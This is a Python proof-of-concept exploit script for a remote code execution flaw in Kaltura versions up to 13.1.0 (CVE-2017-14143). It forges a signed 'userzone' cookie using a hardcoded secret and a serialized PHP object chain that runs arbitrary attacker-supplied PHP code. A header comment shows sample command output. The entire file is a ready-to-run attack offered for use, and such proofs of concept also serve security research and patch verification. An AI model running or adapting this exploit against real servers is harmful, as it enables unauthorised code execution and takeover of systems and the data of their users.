|
#!/usr/bin/env python |
|
|
|
# Kaltura <= 13.1.0 RCE (CVE-2017-14143) |
|
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html |
|
# |
|
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')" |
|
# [~] host: https://example.com |
|
# [~] entry_id: 0_xxxxxxxx |
|
# [~] code: system('id') |
|
# [+] sending request.. |
|
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura) |
|
|
|
import urllib |
|
import urllib2 |
|
import base64 |
|
import md5 |
|
import sys |
|
|
|
cookie_secret = 'y3tAno3therS$cr3T'; |
|
|
|
def exploit(host, entry_id, php_code): |
|
print("[+] Sending request..") |
|
url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id) |
|
|
|
cmd = "{}.die();".format(php_code) |
|
cmd_len = len(cmd) |
|
|
|
payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}" |
|
|
|
exploit_code = payload % (len(cmd), cmd) |
|
encoded = base64.b64encode(exploit_code) |
|
md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest() |
|
|
|
cookies={'userzone': "%s%s" % (encoded, md5_hash)} |
|
|
|
r = urllib2.Request(url) |
|
r.add_header('Cookie', urllib.urlencode(cookies)) |
|
|
|
req = urllib2.urlopen(r) |
|
return req.read() |
|
|
|
if __name__ == '__main__': |
|
|
|
if len(sys.argv) < 4: |
|
print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0]) |
|
print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0]) |
|
sys.exit(0) |
|
|
|
host = sys.argv[1] |
|
entry_id = sys.argv[2] |
|
cmd = sys.argv[3] |
|
|
|
print("[~] host: %s" % host) |
|
print("[~] entry_id: %s" % entry_id) |
|
print("[~] php_code: %s" % cmd) |
|
|
|
result = exploit(sys.argv[1], sys.argv[2], sys.argv[3]) |
|
|
|
print(result) |
